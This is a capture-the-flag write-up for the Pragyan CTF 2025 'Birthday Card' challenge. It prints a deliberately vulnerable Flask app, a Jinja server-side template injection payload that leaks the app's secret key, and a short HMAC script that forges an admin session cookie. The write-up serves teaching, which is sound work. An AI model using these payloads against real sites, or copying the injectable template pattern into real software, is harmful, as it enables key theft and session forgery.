Birthday Card - Pragyan CTF 2025
Table of Contents
Introduction
My knowledge about SSTI is little to none, so even though this was an easy challenge I still learned a lot! Kudos to the Pragyan Team for organizing the event.
First glance
When I went to the target site, https://birthday.ctf.prgy.in/, I saw this:

My first thought is that the problem might be a sanitization issue since the only thing I can do is enter text to generate a card. Thankfully the challenge comes with the source appy.py
App.py
FullApp.py
from flask import Flask, request, jsonify, abort, render_template_string, session, redirect
import builtins as _b
import sys
import os
app = Flask(__name__)
app.secret_key = os.getenv("APP_SECRET_KEY", "default_app_secret")
env = app.jinja_env
KEY = os.getenv("APP_SECRET_KEY", "default_secret_key")
class validator:
def security():
return _b
def security1(a, b, c, d):
if 'validator' in a or 'validator' in b or 'validator' in c or 'validator' in d:
return False
elif 'os' in a or 'os' in b or 'os' in c or 'os' in d:
return False
else:
return True
def security2(a, b, c, d):
if len(a) <= 50 and len(b) <= 50 and len(c) <= 50 and len(d) <= 50:
return True
else :
return False
@app.route("/", methods=["GET", "POST"])
def personalized_card():
if request.method == "GET":
return """
<link rel="stylesheet" href="static/style.css">
<link href="https://fonts.googleapis.com/css?family=Poppins:300,400,600&display=swap" rel="stylesheet">
<div class="container">
<div class="card-generator">
<h1>Personalized Card Generator</h1>
<form action="/" method="POST">
<label for="sender">Sender's Name:</label>
<input type="text" id="sender" name="sender" placeholder="Your name" required maxlength="50">
<label for="recipient">Recipient's Name:</label>
<input type="text" id="recipient" name="recipient" placeholder="Recipient's name" required maxlength="50">
<label for="message">Message:</label>
<input type="text" id="message" name="message" placeholder="Your message" required maxlength="50">
<label for="message_final">Final Message:</label>
<input type="text" id="message_final" name="message_final" placeholder="Final words" required maxlength="50">
<button type="submit">Generate Card</button>
</form>
</div>
</div>
"""
elif request.method == "POST":
try:
recipient = request.form.get("recipient", "")
sender = request.form.get("sender", "")
message = request.form.get("message", "")
final_message = request.form.get("message_final", "")
if validator.security1(recipient, sender, message, final_message) and validator.security2(recipient, sender, message, final_message):
template = f"""
<link rel="stylesheet" href="static/style.css">
<link href="https://fonts.googleapis.com/css?family=Poppins:300,400,600&display=swap" rel="stylesheet">
<div class="container">
<div class="card-preview">
<h1>Your Personalized Card</h1>
<div class="card">
<h2>From: {sender}</h2>
<h2>To: {recipient}</h2>
<p>{message}</p>
<h1>{final_message}</h1>
</div>
<a class="new-card-link" href="/">Create Another Card</a>
</div>
</div>
"""
else :
template="either the recipient or sender or message input is more than 50 letters"
app.jinja_env = env
app.jinja_env.globals.update({
'validator': validator()
})
return render_template_string(template)
except Exception as e:
return f"""
<link rel="stylesheet" href="static/style.css">
<div>
<h1>Error: {str(e)}</h1>
<br>
<p>Please try again. <a href="/">Back to Card Generator</a></p>
</div>
""", 400
@app.route("/debug/test", methods=["POST"])
def test_debug():
user = session.get("user")
host = request.headers.get("Host", "")
if host != "localhost:3030":
return "Access restricted to localhost:3030, this endpoint is only development purposes", 403
if not user:
return "You must be logged in to test debugging.", 403
try:
raise ValueError(f"Debugging error: SECRET_KEY={KEY}")
except Exception as e:
return "Debugging error occurred.", 500
@app.route("/admin/report")
def admin_report():
auth_cookie = request.cookies.get("session")
if not auth_cookie:
abort(403, "Unauthorized access.")
try:
token, signature = auth_cookie.rsplit(".", 1)
from app.sign import initFn
signer = initFn(KEY)
sign_token_function = signer.get_signer()
valid_signature = sign_token_function(token)
if valid_signature != signature:
abort(403, f"Invalid token.")
if token == "admin":
return "Flag: p_ctf{redacted}"
else:
return "Access denied: admin only."
except Exception as e:
abort(403, f"Invalid token format: {e}")
@app.after_request
def clear_imports(response):
if 'app.sign' in sys.modules:
del sys.modules['app.sign']
if 'app.sign' in globals():
del globals()['app.sign']
return response
Used of Jinja
I quickly glanced through the code and saw Jinja
app.jinja_env = env
app.jinja_env.globals.update({
'validator': validator()
})
return render_template_string(template)
This immediately made me think of Server-side Template Injection (SSTI), so I quickly returned to the target site and tested {{ '{{' }} 7*7 }} and indeed SSTI, is possible

Sanitization
class validator:
def security():
return _b
def security1(a, b, c, d):
if 'validator' in a or 'validator' in b or 'validator' in c or 'validator' in d:
return False
elif 'os' in a or 'os' in b or 'os' in c or 'os' in d:
return False
else:
return True
def security2(a, b, c, d):
if len(a) <= 50 and len(b) <= 50 and len(c) <= 50 and len(d) <= 50:
return True
else :
return False
This ensures that the input doesn’t contain the string validator or os, and that it has a maximum length of 50 characters.
To solve this challenge, we don’t need to bypass these checks, but they are needed in the harder version of the challenge(Deathday Card).
For that I highly recommend reading this: Nullbrunk Write-up for the Deathday Card Challenge.
Going back to the challenge…
/admin/report endpoint
@app.route("/admin/report")
def admin_report():
# Checks if the `Cookie` header contains a cookie-name called `session`
# If not it returns a 403
auth_cookie = request.cookies.get("session")
if not auth_cookie:
abort(403, "Unauthorized access.")
try:
# This means that the cookie-value would look like --> token.signature
token, signature = auth_cookie.rsplit(".", 1)
# This indicates that there is a file called sign.py
from app.sign import initFn
# KEY = os.getenv("APP_SECRET_KEY", "default_secret_key")
signer = initFn(KEY)
#Creating a valid signature
sign_token_function = signer.get_signer()
valid_signature = sign_token_function(token)
# Checks if the signature from the cookie-value is not the same as the created valid_signature
# If False then it continues but if True then it returns a 403
if valid_signature != signature:
abort(403, f"Invalid token.")
# If the first part of the cookie-value is equal to "admin" then it gives us the flag.
# If not then it returns a 403
if token == "admin": # We now know that the token is "admin"
return "Flag: p_ctf{redacted}"
else:
return "Access denied: admin only."
except Exception as e:
abort(403, f"Invalid token format: {e}")
Please read the comments for my explanation of what the code is doing
With this, to get the flag we just need to generate a valid session:
Token="admin"Key=unknownAlgorithmused to generate a valid signature =unknown
Since we have an SSTI it was pretty easy to leak the value of KEY
By using this payload: {{ '{{' }}config.items()}} I was able to leak it :P

So we now have this:
Token="admin"Key="dsbfeif3uwf6bes878hgi"Algorithmused to generate a valid signature =unknown
For the last part I actually just guessed it xD I figured I’d try to use HMAC-SHA-256 since it’s a common choice to generate a signature.
gen.py
With all of that, I created this script.
import hmac
import hashlib
# Secret key
KEY = b"dsbfeif3uwf6bes878hgi"
# Token
token = "admin"
signature = hmac.new(KEY, token.encode(), hashlib.sha256).hexdigest()
auth_cookie = f"{token}.{signature}"
print(auth_cookie)
Running gen.py returns -> admin.dc92ab47061ce7a0922596817589737de0b8dde08e7fbe6c7772ad5f87ea9f0b
Flag
To check if that is a valid cookie-value, I used it and made a request to /admin/report and…

Finally, we got the Flag: p_ctf{S3rVer_STI_G0es_hArd}
That’s all for this write-up! Thanks for reading, and have a nice day :D
-Datsuraku147